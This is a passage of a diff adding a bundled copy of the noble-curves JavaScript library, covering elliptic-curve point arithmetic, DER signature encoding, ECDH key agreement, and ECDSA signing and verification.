_1n3) + p2 = p2.add(acc); + acc = acc.double(); + k1 >>= _1n3; + k2 >>= _1n3; + } + return { p1, p2 }; +} +function pippenger(c, fieldN, points, scalars) { + validateMSMPoints(points, c); + validateMSMScalars(scalars, fieldN); + const plength = points.length; + const slength = scalars.length; + if (plength !== slength) + throw new Error("arrays of points and scalars must have equal length"); + const zero = c.ZERO; + const wbits = bitLen(BigInt(plength)); + let windowSize = 1; + if (wbits > 12) + windowSize = wbits - 3; + else if (wbits > 4) + windowSize = wbits - 2; + else if (wbits > 0) + windowSize = 2; + const MASK = bitMask(windowSize); + const buckets = new Array(Number(MASK) + 1).fill(zero); + const lastBits = Math.floor((fieldN.BITS - 1) / windowSize) * windowSize; + let sum = zero; + for (let i = lastBits;i >= 0; i -= windowSize) { + buckets.fill(zero); + for (let j = 0;j < slength; j++) { + const scalar = scalars[j]; + const wbits2 = Number(scalar >> BigInt(i) & MASK); + buckets[wbits2] = buckets[wbits2].add(points[j]); + } + let resI = zero; + for (let j = buckets.length - 1, sumI = zero;j > 0; j--) { + sumI = sumI.add(buckets[j]); + resI = resI.add(sumI); + } + sum = sum.add(resI); + if (i !== 0) + for (let j = 0;j < windowSize; j++) + sum = sum.double(); + } + return sum; +} +function createField(order, field, isLE2) { + if (field) { + if (field.ORDER !== order) + throw new Error("Field.ORDER must match order: Fp == p, Fn == n"); + validateField(field); + return field; + } else { + return Field(order, { isLE: isLE2 }); + } +} +function _createCurveFields(type, CURVE, curveOpts = {}, FpFnLE) { + if (FpFnLE === undefined) + FpFnLE = type === "edwards"; + if (!CURVE || typeof CURVE !== "object") + throw new Error(`expected valid ${type} CURVE object`); + for (const p of ["p", "n", "h"]) { + const val = CURVE[p]; + if (!(typeof val === "bigint" && val > _0n3)) + throw new Error(`CURVE.${p} must be positive bigint`); + } + const Fp = createField(CURVE.p, curveOpts.Fp, FpFnLE); + const Fn = createField(CURVE.n, curveOpts.Fn, FpFnLE); + const _b = type === "weierstrass" ? "b" : "d"; + const params = ["Gx", "Gy", "a", _b]; + for (const p of params) { + if (!Fp.isValid(CURVE[p])) + throw new Error(`CURVE.${p} must be valid field element of CURVE.Fp`); + } + CURVE = Object.freeze(Object.assign({}, CURVE)); + return { CURVE, Fp, Fn }; +} + +// node_modules/@noble/curves/esm/abstract/weierstrass.js +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +var divNearest = (num, den) => (num + (num >= 0 ? den : -den) / _2n2) / den; +function _splitEndoScalar(k, basis, n) { + const [[a1, b1], [a2, b2]] = basis; + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = k - c1 * a1 - c2 * a2; + let k2 = -c1 * b1 - c2 * b2; + const k1neg = k1 < _0n4; + const k2neg = k2 < _0n4; + if (k1neg) + k1 = -k1; + if (k2neg) + k2 = -k2; + const MAX_NUM = bitMask(Math.ceil(bitLen(n) / 2)) + _1n4; + if (k1 < _0n4 || k1 >= MAX_NUM || k2 < _0n4 || k2 >= MAX_NUM) { + throw new Error("splitScalar (endomorphism): failed, k=" + k); + } + return { k1neg, k1, k2neg, k2 }; +} +function validateSigFormat(format) { + if (!["compact", "recovered", "der"].includes(format)) + throw new Error('Signature format must be "compact", "recovered", or "der"'); + return format; +} +function validateSigOpts(opts, def) { + const optsn = {}; + for (let optName of Object.keys(def)) { + optsn[optName] = opts[optName] === undefined ? def[optName] : opts[optName]; + } + _abool2(optsn.lowS, "lowS"); + _abool2(optsn.prehash, "prehash"); + if (optsn.format !== undefined) + validateSigFormat(optsn.format); + return optsn; +} + +class DERErr extends Error { + constructor(m = "") { + super(m); + } +} +var DER = { + Err: DERErr, + _tlv: { + encode: (tag, data) => { + const { Err: E } = DER; + if (tag < 0 || tag > 256) + throw new E("tlv.encode: wrong tag"); + if (data.length & 1) + throw new E("tlv.encode: unpadded data"); + const dataLen = data.length / 2; + const len = numberToHexUnpadded(dataLen); + if (len.length / 2 & 128) + throw new E("tlv.encode: long form length too big"); + const lenLen = dataLen > 127 ? numberToHexUnpadded(len.length / 2 | 128) : ""; + const t = numberToHexUnpadded(tag); + return t + lenLen + len + data; + }, + decode(tag, data) { + const { Err: E } = DER; + let pos = 0; + if (tag < 0 || tag > 256) + throw new E("tlv.encode: wrong tag"); + if (data.length < 2 || data[pos++] !== tag) + throw new E("tlv.decode: wrong tlv"); + const first = data[pos++]; + const isLong = !!(first & 128); + let length = 0; + if (!isLong) + length = first; + else { + const lenLen = first & 127; + if (!lenLen) + throw new E("tlv.decode(long): indefinite length not supported"); + if (lenLen > 4) + throw new E("tlv.decode(long): byte length is too big"); + const lengthBytes = data.subarray(pos, pos + lenLen); + if (lengthBytes.length !== lenLen) + throw new E("tlv.decode: length bytes not complete"); + if (lengthBytes[0] === 0) + throw new E("tlv.decode(long): zero leftmost byte"); + for (const b of lengthBytes) + length = length << 8 | b; + pos += lenLen; + if (length < 128) + throw new E("tlv.decode(long): not minimal encoding"); + } + const v = data.subarray(pos, pos + length); + if (v.length !== length) + throw new E("tlv.decode: wrong value length"); + return { v, l: data.subarray(pos + length) }; + } + }, + _int: { + encode(num) { + const { Err: E } = DER; + if (num < _0n4) + throw new E("integer: negative integers are not allowed"); + let hex = numberToHexUnpadded(num); + if (Number.parseInt(hex[0], 16) & 8) + hex = "00" + hex; + if (hex.length & 1) + throw new E("unexpected DER parsing assertion: unpadded hex"); + return hex; + }, + decode(data) { + const { Err: E } = DER; + if (data[0] & 128) + throw new E("invalid signature integer: negative"); + if (data[0] === 0 && !(data[1] & 128)) + throw new E("invalid signature integer: unnecessary leading zero"); + return bytesToNumberBE(data); + } + }, + toSig(hex) { + const { Err: E, _int: int, _tlv: tlv } = DER; + const data = ensureBytes("signature", hex); + const { v: seqBytes, l: seqLeftBytes } = tlv.decode(48, data); + if (seqLeftBytes.length) + throw new E("invalid signature: left bytes after parsing"); + const { v: rBytes, l: rLeftBytes } = tlv.decode(2, seqBytes); + const { v: sBytes, l: sLeftBytes } = tlv.decode(2, rLeftBytes); + if (sLeftBytes.length) + throw new E("invalid signature: left bytes after parsing"); + return { r: int.decode(rBytes), s: int.decode(sBytes) }; + }, + hexFromSig(sig) { + const { _tlv: tlv, _int: int } = DER; + const rs = tlv.encode(2, int.encode(sig.r)); + const ss = tlv.encode(2, int.encode(sig.s)); + const seq = rs + ss; + return tlv.encode(48, seq); + } +}; +var _0n4 = BigInt(0); +var _1n4 = BigInt(1); +var _2n2 = BigInt(2); +var _3n2 = BigInt(3); +var _4n2 = BigInt(4); +function _normFnElement(Fn, key) { + const { BYTES: expected } = Fn; + let num; + if (typeof key === "bigint") { + num = key; + } else { + let bytes = ensureBytes("private key", key); + try { + num = Fn.fromBytes(bytes); + } catch (error) { + throw new Error(`invalid private key: expected ui8a of size ${expected}, got ${typeof key}`); + } + } + if (!Fn.isValidNot0(num)) + throw new Error("invalid private key: out of range [1..N-1]"); + return num; +} +function weierstrassN(params, extraOpts = {}) { + const validated = _createCurveFields("weierstrass", params, extraOpts); + const { Fp, Fn } = validated; + let CURVE = validated.CURVE; + const { h: cofactor, n: CURVE_ORDER } = CURVE; + _validateObject(extraOpts, {}, { + allowInfinityPoint: "boolean", + clearCofactor: "function", + isTorsionFree: "function", + fromBytes: "function", + toBytes: "function", + endo: "object", + wrapPrivateKey: "boolean" + }); + const { endo } = extraOpts; + if (endo) { + if (!Fp.is0(CURVE.a) || typeof endo.beta !== "bigint" || !Array.isArray(endo.basises)) { + throw new Error('invalid endo: expected "beta": bigint and "basises": array'); + } + } + const lengths = getWLengths(Fp, Fn); + function assertCompressionIsSupported() { + if (!Fp.isOdd) + throw new Error("compression is not supported: Field does not have .isOdd()"); + } + function pointToBytes(_c, point, isCompressed) { + const { x, y } = point.toAffine(); + const bx = Fp.toBytes(x); + _abool2(isCompressed, "isCompressed"); + if (isCompressed) { + assertCompressionIsSupported(); + const hasEvenY = !Fp.isOdd(y); + return concatBytes(pprefix(hasEvenY), bx); + } else { + return concatBytes(Uint8Array.of(4), bx, Fp.toBytes(y)); + } + } + function pointFromBytes(bytes) { + _abytes2(bytes, undefined, "Point"); + const { publicKey: comp, publicKeyUncompressed: uncomp } = lengths; + const length = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + if (length === comp && (head === 2 || head === 3)) { + const x = Fp.fromBytes(tail); + if (!Fp.isValid(x)) + throw new Error("bad point: is not on curve, wrong x"); + const y2 = weierstrassEquation(x); + let y; + try { + y = Fp.sqrt(y2); + } catch (sqrtError) { + const err = sqrtError instanceof Error ? ": " + sqrtError.message : ""; + throw new Error("bad point: is not on curve, sqrt error" + err); + } + assertCompressionIsSupported(); + const isYOdd = Fp.isOdd(y); + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) + y = Fp.neg(y); + return { x, y }; + } else if (length === uncomp && head === 4) { + const L = Fp.BYTES; + const x = Fp.fromBytes(tail.subarray(0, L)); + const y = Fp.fromBytes(tail.subarray(L, L * 2)); + if (!isValidXY(x, y)) + throw new Error("bad point: is not on curve"); + return { x, y }; + } else { + throw new Error(`bad point: got length ${length}, expected compressed=${comp} or uncompressed=${uncomp}`); + } + } + const encodePoint = extraOpts.toBytes || pointToBytes; + const decodePoint = extraOpts.fromBytes || pointFromBytes; + function weierstrassEquation(x) { + const x2 = Fp.sqr(x); + const x3 = Fp.mul(x2, x); + return Fp.add(Fp.add(x3, Fp.mul(x, CURVE.a)), CURVE.b); + } + function isValidXY(x, y) { + const left = Fp.sqr(y); + const right = weierstrassEquation(x); + return Fp.eql(left, right); + } + if (!isValidXY(CURVE.Gx, CURVE.Gy)) + throw new Error("bad curve params: generator point"); + const _4a3 = Fp.mul(Fp.pow(CURVE.a, _3n2), _4n2); + const _27b2 = Fp.mul(Fp.sqr(CURVE.b), BigInt(27)); + if (Fp.is0(Fp.add(_4a3, _27b2))) + throw new Error("bad curve params: a or b"); + function acoord(title, n, banZero = false) { + if (!Fp.isValid(n) || banZero && Fp.is0(n)) + throw new Error(`bad point coordinate ${title}`); + return n; + } + function aprjpoint(other) { + if (!(other instanceof Point)) + throw new Error("ProjectivePoint expected"); + } + function splitEndoScalarN(k) { + if (!endo || !endo.basises) + throw new Error("no endo"); + return _splitEndoScalar(k, endo.basises, Fn.ORDER); + } + const toAffineMemo = memoized((p, iz) => { + const { X, Y, Z } = p; + if (Fp.eql(Z, Fp.ONE)) + return { x: X, y: Y }; + const is0 = p.is0(); + if (iz == null) + iz = is0 ? Fp.ONE : Fp.inv(Z); + const x = Fp.mul(X, iz); + const y = Fp.mul(Y, iz); + const zz = Fp.mul(Z, iz); + if (is0) + return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) + throw new Error("invZ was invalid"); + return { x, y }; + }); + const assertValidMemo = memoized((p) => { + if (p.is0()) { + if (extraOpts.allowInfinityPoint && !Fp.is0(p.Y)) + return; + throw new Error("bad point: ZERO"); + } + const { x, y } = p.toAffine(); + if (!Fp.isValid(x) || !Fp.isValid(y)) + throw new Error("bad point: x or y not field elements"); + if (!isValidXY(x, y)) + throw new Error("bad point: equation left != right"); + if (!p.isTorsionFree()) + throw new Error("bad point: not in prime-order subgroup"); + return true; + }); + function finishEndo(endoBeta, k1p, k2p, k1neg, k2neg) { + k2p = new Point(Fp.mul(k2p.X, endoBeta), k2p.Y, k2p.Z); + k1p = negateCt(k1neg, k1p); + k2p = negateCt(k2neg, k2p); + return k1p.add(k2p); + } + + class Point { + constructor(X, Y, Z) { + this.X = acoord("x", X); + this.Y = acoord("y", Y, true); + this.Z = acoord("z", Z); + Object.freeze(this); + } + static CURVE() { + return CURVE; + } + static fromAffine(p) { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) + throw new Error("invalid affine point"); + if (p instanceof Point) + throw new Error("projective point not allowed"); + if (Fp.is0(x) && Fp.is0(y)) + return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + static fromBytes(bytes) { + const P = Point.fromAffine(decodePoint(_abytes2(bytes, undefined, "point"))); + P.assertValidity(); + return P; + } + static fromHex(hex) { + return Point.fromBytes(ensureBytes("pointHex", hex)); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + precompute(windowSize = 8, isLazy = true) { + wnaf.createCache(this, windowSize); + if (!isLazy) + this.multiply(_3n2); + return this; + } + assertValidity() { + assertValidMemo(this); + } + hasEvenY() { + const { y } = this.toAffine(); + if (!Fp.isOdd) + throw new Error("Field doesn't support isOdd"); + return !Fp.isOdd(y); + } + equals(other) { + aprjpoint(other); + const { X: X1, Y: Y1, Z: Z1 } = this; + const { X: X2, Y: Y2, Z: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + negate() { + return new Point(this.X, Fp.neg(this.Y), this.Z); + } + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n2); + const { X: X1, Y: Y1, Z: Z1 } = this; + let { ZERO: X3, ZERO: Y3, ZERO: Z3 } = Fp; + let t0 = Fp.mul(X1, X1); + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + add(other) { + aprjpoint(other); + const { X: X1, Y: Y1, Z: Z1 } = this; + const { X: X2, Y: Y2, Z: Z2 } = other; + let { ZERO: X3, ZERO: Y3, ZERO: Z3 } = Fp; + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n2); + let t0 = Fp.mul(X1, X2); + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); + return new Point(X3, Y3, Z3); + } + subtract(other) { + return this.add(other.negate()); + } + is0() { + return this.equals(Point.ZERO); + } + multiply(scalar) { + const { endo: endo2 } = extraOpts; + if (!Fn.isValidNot0(scalar)) + throw new Error("invalid scalar: out of range"); + let point, fake; + const mul = (n) => wnaf.cached(this, n, (p) => normalizeZ(Point, p)); + if (endo2) { + const { k1neg, k1, k2neg, k2 } = splitEndoScalarN(scalar); + const { p: k1p, f: k1f } = mul(k1); + const { p: k2p, f: k2f } = mul(k2); + fake = k1f.add(k2f); + point = finishEndo(endo2.beta, k1p, k2p, k1neg, k2neg); + } else { + const { p, f } = mul(scalar); + point = p; + fake = f; + } + return normalizeZ(Point, [point, fake])[0]; + } + multiplyUnsafe(sc) { + const { endo: endo2 } = extraOpts; + const p = this; + if (!Fn.isValid(sc)) + throw new Error("invalid scalar: out of range"); + if (sc === _0n4 || p.is0()) + return Point.ZERO; + if (sc === _1n4) + return p; + if (wnaf.hasCache(this)) + return this.multiply(sc); + if (endo2) { + const { k1neg, k1, k2neg, k2 } = splitEndoScalarN(sc); + const { p1, p2 } = mulEndoUnsafe(Point, p, k1, k2); + return finishEndo(endo2.beta, p1, p2, k1neg, k2neg); + } else { + return wnaf.unsafe(p, sc); + } + } + multiplyAndAddUnsafe(Q, a, b) { + const sum = this.multiplyUnsafe(a).add(Q.multiplyUnsafe(b)); + return sum.is0() ? undefined : sum; + } + toAffine(invertedZ) { + return toAffineMemo(this, invertedZ); + } + isTorsionFree() { + const { isTorsionFree } = extraOpts; + if (cofactor === _1n4) + return true; + if (isTorsionFree) + return isTorsionFree(Point, this); + return wnaf.unsafe(this, CURVE_ORDER).is0(); + } + clearCofactor() { + const { clearCofactor } = extraOpts; + if (cofactor === _1n4) + return this; + if (clearCofactor) + return clearCofactor(Point, this); + return this.multiplyUnsafe(cofactor); + } + isSmallOrder() { + return this.multiplyUnsafe(cofactor).is0(); + } + toBytes(isCompressed = true) { + _abool2(isCompressed, "isCompressed"); + this.assertValidity(); + return encodePoint(Point, this, isCompressed); + } + toHex(isCompressed = true) { + return bytesToHex(this.toBytes(isCompressed)); + } + toString() { + return ``; + } + get px() { + return this.X; + } + get py() { + return this.X; + } + get pz() { + return this.Z; + } + toRawBytes(isCompressed = true) { + return this.toBytes(isCompressed); + } + _setWindowSize(windowSize) { + this.precompute(windowSize); + } + static normalizeZ(points) { + return normalizeZ(Point, points); + } + static msm(points, scalars) { + return pippenger(Point, Fn, points, scalars); + } + static fromPrivateKey(privateKey) { + return Point.BASE.multiply(_normFnElement(Fn, privateKey)); + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + Point.Fp = Fp; + Point.Fn = Fn; + const bits = Fn.BITS; + const wnaf = new wNAF(Point, extraOpts.endo ? Math.ceil(bits / 2) : bits); + Point.BASE.precompute(8); + return Point; +} +function pprefix(hasEvenY) { + return Uint8Array.of(hasEvenY ? 2 : 3); +} +function getWLengths(Fp, Fn) { + return { + secretKey: Fn.BYTES, + publicKey: 1 + Fp.BYTES, + publicKeyUncompressed: 1 + 2 * Fp.BYTES, + publicKeyHasPrefix: true, + signature: 2 * Fn.BYTES + }; +} +function ecdh(Point, ecdhOpts = {}) { + const { Fn } = Point; + const randomBytes_ = ecdhOpts.randomBytes || randomBytes; + const lengths = Object.assign(getWLengths(Point.Fp, Fn), { seed: getMinHashLength(Fn.ORDER) }); + function isValidSecretKey(secretKey) { + try { + return !!_normFnElement(Fn, secretKey); + } catch (error) { + return false; + } + } + function isValidPublicKey(publicKey, isCompressed) { + const { publicKey: comp, publicKeyUncompressed } = lengths; + try { + const l = publicKey.length; + if (isCompressed === true && l !== comp) + return false; + if (isCompressed === false && l !== publicKeyUncompressed) + return false; + return !!Point.fromBytes(publicKey); + } catch (error) { + return false; + } + } + function randomSecretKey(seed = randomBytes_(lengths.seed)) { + return mapHashToField(_abytes2(seed, lengths.seed, "seed"), Fn.ORDER); + } + function getPublicKey(secretKey, isCompressed = true) { + return Point.BASE.multiply(_normFnElement(Fn, secretKey)).toBytes(isCompressed); + } + function keygen(seed) { + const secretKey = randomSecretKey(seed); + return { secretKey, publicKey: getPublicKey(secretKey) }; + } + function isProbPub(item) { + if (typeof item === "bigint") + return false; + if (item instanceof Point) + return true; + const { secretKey, publicKey, publicKeyUncompressed } = lengths; + if (Fn.allowedLengths || secretKey === publicKey) + return; + const l = ensureBytes("key", item).length; + return l === publicKey || l === publicKeyUncompressed; + } + function getSharedSecret(secretKeyA, publicKeyB, isCompressed = true) { + if (isProbPub(secretKeyA) === true) + throw new Error("first arg must be private key"); + if (isProbPub(publicKeyB) === false) + throw new Error("second arg must be public key"); + const s = _normFnElement(Fn, secretKeyA); + const b = Point.fromHex(publicKeyB); + return b.multiply(s).toBytes(isCompressed); + } + const utils = { + isValidSecretKey, + isValidPublicKey, + randomSecretKey, + isValidPrivateKey: isValidSecretKey, + randomPrivateKey: randomSecretKey, + normPrivateKeyToScalar: (key) => _normFnElement(Fn, key), + precompute(windowSize = 8, point = Point.BASE) { + return point.precompute(windowSize, false); + } + }; + return Object.freeze({ getPublicKey, getSharedSecret, keygen, Point, utils, lengths }); +} +function ecdsa(Point, hash, ecdsaOpts = {}) { + ahash(hash); + _validateObject(ecdsaOpts, {}, { + hmac: "function", + lowS: "boolean", + randomBytes: "function", + bits2int: "function", + bits2int_modN: "function" + }); + const randomBytes2 = ecdsaOpts.randomBytes || randomBytes; + const hmac2 = ecdsaOpts.hmac || ((key, ...msgs) => hmac(hash, key, concatBytes(...msgs))); + const { Fp, Fn } = Point; + const { ORDER: CURVE_ORDER, BITS: fnBits } = Fn; + const { keygen, getPublicKey, getSharedSecret, utils, lengths } = ecdh(Point, ecdsaOpts); + const defaultSigOpts = { + prehash: false, + lowS: typeof ecdsaOpts.lowS === "boolean" ? ecdsaOpts.lowS : false, + format: undefined, + extraEntropy: false + }; + const defaultSigOpts_format = "compact"; + function isBiggerThanHalfOrder(number) { + const HALF = CURVE_ORDER >> _1n4; + return number > HALF; + } + function validateRS(title, num) { + if (!Fn.isValidNot0(num)) + throw new Error(`invalid signature ${title}: out of range 1..Point.Fn.ORDER`); + return num; + } + function validateSigLength(bytes, format) { + validateSigFormat(format); + const size = lengths.signature; + const sizer = format === "compact" ? size : format === "recovered" ? size + 1 : undefined; + return _abytes2(bytes, sizer, `${format} signature`); + } + + class Signature { + constructor(r, s, recovery) { + this.r = validateRS("r", r); + this.s = validateRS("s", s); + if (recovery != null) + this.recovery = recovery; + Object.freeze(this); + } + static fromBytes(bytes, format = defaultSigOpts_format) { + validateSigLength(bytes, format); + let recid; + if (format === "der") { + const { r: r2, s: s2 } = DER.toSig(_abytes2(bytes)); + return new Signature(r2, s2); + } + if (format === "recovered") { + recid = bytes[0]; + format = "compact"; + bytes = bytes.subarray(1); + } + const L = Fn.BYTES; + const r = bytes.subarray(0, L); + const s = bytes.subarray(L, L * 2); + return new Signature(Fn.fromBytes(r), Fn.fromBytes(s), recid); + } + static fromHex(hex, format) { + return this.fromBytes(hexToBytes(hex), format); + } + addRecoveryBit(recovery) { + return new Signature(this.r, this.s, recovery); + } + recoverPublicKey(messageHash) { + const FIELD_ORDER = Fp.ORDER; + const { r, s, recovery: rec } = this; + if (rec == null || ![0, 1, 2, 3].includes(rec)) + throw new Error("recovery id invalid"); + const hasCofactor = CURVE_ORDER * _2n2 < FIELD_ORDER; + if (hasCofactor && rec > 1) + throw new Error("recovery id is ambiguous for h>1 curve"); + const radj = rec === 2 || rec === 3 ? r + CURVE_ORDER : r; + if (!Fp.isValid(radj)) + throw new Error("recovery id 2 or 3 invalid"); + const x = Fp.toBytes(radj); + const R = Point.fromBytes(concatBytes(pprefix((rec & 1) === 0), x)); + const ir = Fn.inv(radj); + const h = bits2int_modN(ensureBytes("msgHash", messageHash)); + const u1 = Fn.create(-h * ir); + const u2 = Fn.create(s * ir); + const Q = Point.BASE.multiplyUnsafe(u1).add(R.multiplyUnsafe(u2)); + if (Q.is0()) + throw new Error("point at infinify"); + Q.assertValidity(); + return Q; + } + hasHighS() { + return isBiggerThanHalfOrder(this.s); + } + toBytes(format = defaultSigOpts_format) { + validateSigFormat(format); + if (format === "der") + return hexToBytes(DER.hexFromSig(this)); + const r = Fn.toBytes(this.r); + const s = Fn.toBytes(this.s); + if (format === "recovered") { + if (this.recovery == null) + throw new Error("recovery bit must be present"); + return concatBytes(Uint8Array.of(this.recovery), r, s); + } + return concatBytes(r, s); + } + toHex(format) { + return bytesToHex(this.toBytes(format)); + } + assertValidity() { + } + static fromCompact(hex) { + return Signature.fromBytes(ensureBytes("sig", hex), "compact"); + } + static fromDER(hex) { + return Signature.fromBytes(ensureBytes("sig", hex), "der"); + } + normalizeS() { + return this.hasHighS() ? new Signature(this.r, Fn.neg(this.s), this.recovery) : this; + } + toDERRawBytes() { + return this.toBytes("der"); + } + toDERHex() { + return bytesToHex(this.toBytes("der")); + } + toCompactRawBytes() { + return this.toBytes("compact"); + } + toCompactHex() { + return bytesToHex(this.toBytes("compact")); + } + } + const bits2int = ecdsaOpts.bits2int || function bits2int_def(bytes) { + if (bytes.length > 8192) + throw new Error("input is too large"); + const num = bytesToNumberBE(bytes); + const delta = bytes.length * 8 - fnBits; + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = ecdsaOpts.bits2int_modN || function bits2int_modN_def(bytes) { + return Fn.create(bits2int(bytes)); + }; + const ORDER_MASK = bitMask(fnBits); + function int2octets(num) { + aInRange("num < 2^" + fnBits, num, _0n4, ORDER_MASK); + return Fn.toBytes(num); + } + function validateMsgAndHash(message, prehash) { + _abytes2(message, undefined, "message"); + return prehash ? _abytes2(hash(message), undefined, "prehashed message") : message; + } + function prepSig(message, privateKey, opts) { + if (["recovered", "canonical"].some((k) => (k in opts))) + throw new Error("sign() legacy options not supported"); + const { lowS, prehash, extraEntropy } = validateSigOpts(opts, defaultSigOpts); + message = validateMsgAndHash(message, prehash); + const h1int = bits2int_modN(message); + const d = _normFnElement(Fn, privateKey); + const seedArgs = [int2octets(d), int2octets(h1int)]; + if (extraEntropy != null && extraEntropy !== false) { + const e = extraEntropy === true ? randomBytes2(lengths.secretKey) : extraEntropy; + seedArgs.push(ensureBytes("extraEntropy", e)); + } + const seed = concatBytes(...seedArgs); + const m = h1int; + function k2sig(kBytes) { + const k = bits2int(kBytes); + if (!Fn.isValidNot0(k)) + return; + const ik = Fn.inv(k); + const q = Point.BASE.multiply(k).toAffine(); + const r = Fn.create(q.x); + if (r === _0n4) + return; + const s = Fn.create(ik * Fn.create(m + r * d)); + if (s === _0n4) + return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n4); + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = Fn.neg(s); + recovery ^= 1; + } + return new Signature(r, normS, recovery); + } + return { seed, k2sig }; + } + function sign(message, secretKey, opts = {}) { + message = ensureBytes("message", message); + const { seed, k2sig } = prepSig(message, secretKey, opts); + const drbg = createHmacDrbg(hash.outputLen, Fn.BYTES, hmac2); + const sig = drbg(seed, k2sig); + return sig; + } + function tryParsingSig(sg) { + let sig = undefined; + const isHex = typeof sg === "string" || isBytes(sg); + const isObj = !isHex && sg !== null && typeof sg === "object" && typeof sg.r === "bigint" && typeof sg.s === "bigint"; + if (!isHex && !isObj) + throw new Error("invalid signature, expected Uint8Array, hex string or Signature instance"); + if (isObj) { + sig = new Signature(sg.r, sg.s); + } else if (isHex) { + try { + sig = Signature.fromBytes(ensureBytes("sig", sg), "der"); + } catch (derError) { + if (!(derError instanceof DER.Err)) + throw derError; + } + if (!sig) { + try { + sig = Signature.fromBytes(ensureBytes("sig", sg), "compact"); + } catch (error) { + return false; + } + } + } + if (!sig) + return false; + return sig; + } + function verify(signature, message, publicKey, opts = {}) { + const { lowS, prehash, format } = validateSigOpts(opts, defaultSigOpts); + publicKey = ensureBytes("publicKey", publicKey); + message = validateMsgAndHash(ensureBytes("message", message), prehash); + if ("strict" in opts) + throw new Error("options.strict was renamed to lowS"); + const sig = format === undefined ? tryParsingSig(signature) : Signature.fromBytes(ensureBytes("sig", signature), format); + if (sig === false) + return false; + try { + const P = Point.fromBytes(publicKey); + if (lowS && sig.hasHighS()) + return false; + const { r, s } = sig; + const h = bits2int_modN(message); + const is = Fn.inv(s); + const u1 = Fn.create(h * is); + const u2 = Fn.create(r * is); + const R = Point.BASE.multiplyUnsafe(u1).add(P.multiplyUnsafe(u2)); + if (R.is0()) + return false; + const v = Fn.create(R.x); + return v === r; + } catch (e) { + return false; + } + } + function recoverPublicKey(signature, message, opts = {}) { + const { prehash } = validateSigOpts(opts, defaultSigOpts); + message = validateMsgAndHash(message, prehash); + return Signature.fromBytes(signature, "recovered").recoverPublicKey(message).toBytes(); + } + return Object.freeze({ + keygen, + getPublicKey, + getSharedSecret, + utils, + lengths, + Point, + sign, + verify, + recoverPublicKey, + Signature, + hash + }); +} +function _weierstrass_legacy_opts_to_new(c) { + const CURVE = { + a: c.a, + b: c.b, + p: c.Fp.ORDER, + n: c.n, + h: c.h, + Gx: c.Gx, + Gy: c.Gy + }; + const Fp = c.Fp; + let allowedLengths = c.allowedPrivateKeyLengths ? Array.from(new Set(c.allowedPrivateKeyLengths.map((l) => Math.ceil(l / 2)))) : undefined; + const Fn = Field(CURVE.n, { + BITS: c.nBitLength, + allowedLengths, + modFromBytes: c.wrapPrivateKey + }); + const curveOpts = { + Fp, + Fn, + allowInfinityPoint: c.allowInfinityPoint, + endo: c.endo, + isTorsionFree: c.isTorsionFree, + clearCofactor: 